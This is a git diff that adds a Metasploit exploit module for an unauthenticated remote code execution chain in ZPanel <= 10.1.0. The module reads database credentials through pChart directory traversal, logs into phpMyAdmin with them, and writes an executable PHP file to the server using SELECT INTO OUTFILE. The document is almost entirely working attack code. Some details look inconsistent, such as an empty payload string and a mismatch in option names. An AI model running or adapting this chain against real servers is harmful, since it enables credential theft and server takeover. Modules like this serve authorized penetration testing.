diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb new file mode 100644 index 0000000000..6c660a5bcf --- /dev/null +++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb @@ -0,0 +1,292 @@ +require 'msf/core' +require 'msf/core/exploit/php_exe' +require 'nokogiri' +require 'uri' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::PhpEXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Zpanel Remote Unauthenticated RCE', + 'Description' => %q{ + This module exploits an information disclosure vulnerability + found in Zpanel <= 10.1.0. The vulnerability is due to a + vulnerable version of pChart allowing remote, unauthenticated, + users to read arbitrary files found on the filesystem. This + particular module utilizes this vulnerability to identify the + username/password combination of the MySQL instance. With the + credentials the attackers can login to PHPMyAdmin and execute + SQL commands to drop a malicious payload on the filesystem and + call it leading to remote code execution. + }, + 'Author' => + [ + 'dawn isabel', + 'brad wolfe', + 'brent morris', + 'james fitts' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-2097' ], + [ 'EDB', '31173' ], # pChart + [ 'OSVDB', '102595' ], # pChart + [ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ], + [ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], + [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 30 2014')) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel']) + ], self.class) + end + + def get_setting(res, setting_name) + n = ::Nokogiri::HTML(res.body) + spans = n.search('//code//span//span') + found_element = spans.select{ |e| /#{setting_name}/ === e.text }.first + val = found_element.next.next.text + val.scan(/['"]([[:print:]]+)['"]/).flatten.first || '' + end + + def get_user(res) + get_setting(res, 'user') + end + + def get_passwd(res) + get_setting(res, 'pass') + end + + def get_dbname(res) + get_setting(res, 'dbname') + end + + def dot_dot_slash(uri) + res = send_request_cgi({ + 'method' =>'GET', + 'uri' => normalize_uri("#{uri}", 'etc', 'lib', 'pChart2', 'examples', 'index.php'), + 'vars_get' => { + 'Action' => 'View', + 'Script' => '../../../../cnf/db.php' + } + }) + + uname = get_user(res) + passwd = get_passwd(res) + dbname = get_dbname(res) + + return uname, passwd, dbname + end + + def get_token_from_form(res) + hidden_inputs = res.get_hidden_inputs + hidden_inputs.first['token'] + end + + def get_token_from_url(url) + u = URI(url) + u.query.split('&').each do |param| + param_name, param_value = param.scan(/([[:print:]]+)=([[:print:]]+)/).flatten + return param_value if param_name == 'token' + end + + '' + end + + def grab_sess_and_token(uri) + print_status('Attempting to get PHPSESSIONID') + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}"), + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID') + end + + cookies = res.get_cookies + sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' + + if sid.length > 0 + print_good('PHPSESSID identified!') + print_good("PHPSESSID = #{sid.split("=")[1]}") + + print_status('Attempting to get CSRF token') + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", 'etc', 'apps', 'phpmyadmin', 'index.php'), + 'Cookie' => "#{sid}" + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token') + end + + token = get_token_from_form(res) + cookies = res.get_cookies + + cookies = cookies.split('; ') + cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}" + + if token.length > 0 + print_good('CSRF token identified!') + print_good("CSRF token = #{token}") + return cookies, token, sid + else + print_error('CSRF token could not be identified...') + end + else + print_error('PHPSESSID could not be identified...') + end + end + + def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + old_cookies = cookies + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'), + 'cookie' => cookies, + 'ctype' => 'application/x-www-form-urlencoded', + 'headers'=> + { + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + }, + 'vars_post' => { + 'pma_username' => uname, + 'pma_password' => passwd, + 'server' => '1', + 'lang' => 'en', + 'collation_connection' => 'utf8_general_ci', + 'token' => token + } + }) + + cookies = "#{res.get_cookies}" + + old_cookies = old_cookies.split("; ") + cookies = cookies.split("; ") + + new_cookies = "#{old_cookies[0]}; " + new_cookies << "#{old_cookies[1]}; " + new_cookies << "#{old_cookies[2]}; " + new_cookies << "#{old_cookies[3]}; " + new_cookies << "#{cookies[0]}; " + new_cookies << "#{cookies[1]} " + new_cookies << "#{sess_id}" + + token = get_token_from_url(res['Location']) + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'), + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + 'cookie' => new_cookies, + 'vars_get' => { + 'token' => token + } + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin') + end + + if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ + print_good('PHPMyAdmin login successful!') + return new_cookies, token + end + end + + def do_sql(cookies, token, uri) + fname = "#{rand_text_alpha_upper(5)}.php" + sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'import.php'), + 'cookie' => cookies, + 'ctype' =>'application/x-www-form-urlencoded; charset=UTF-8', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" + }, + 'vars_post' => { + 'is_js_confirmed' => '0', + 'token' => token, + 'pos' => '0', + 'goto' => 'server_sql.php', + 'message_to_show' => 'Your+SQL+query+has+been+executed+successfully', + 'prev_sql_query' => '', + 'sql_query' => sql_stmt, + 'sql_delimiter' => ';', + 'show_query' => '1', + 'ajax_request' => 'true', + '_nocache' => rand.to_s[2..19].to_i + } + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload') + end + + if res.body =~ /"success":true/ + print_good("'#{fname}' successfully uploaded") + print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'") + print_status("Executing '#{fname}' on the remote host") + + res = send_request_cgi({ + 'method'=>'GET', + 'uri'=>normalize_uri("#{uri}", "#{fname}") + }) + else + print_error("#{res.body.to_s}") + end + end + + def exploit + # Checking pChart + res = send_request_cgi({ + 'method'=> 'GET', + 'uri'=> normalize_uri("#{datastore['URI']}", 'etc', 'lib', 'pChart2', 'examples', 'index.php') + }) + + # if pChart is vuln version + if res.body =~ /pChart 2\.x/ + uname, passwd, db_name = dot_dot_slash("#{datastore['URI']}") + if uname.length > 0 && passwd.length > 0 + print_good('Directory traversal successful, Username/Password identified!') + print_good("Username: #{uname}") + print_good("Password: #{passwd}") + print_good("DB Name: #{db_name}") + cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}") + print_status('Logging into PHPMyAdmin now') + cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id) + print_status('Uploading malicious payload now') + do_sql(cookies, token, "#{datastore['URI']}") + else + print_error('It appears that the directory traversal was unsuccessful...') + end + else + print_error("It appears that the version of pChart is not vulnerable...") + end + end +end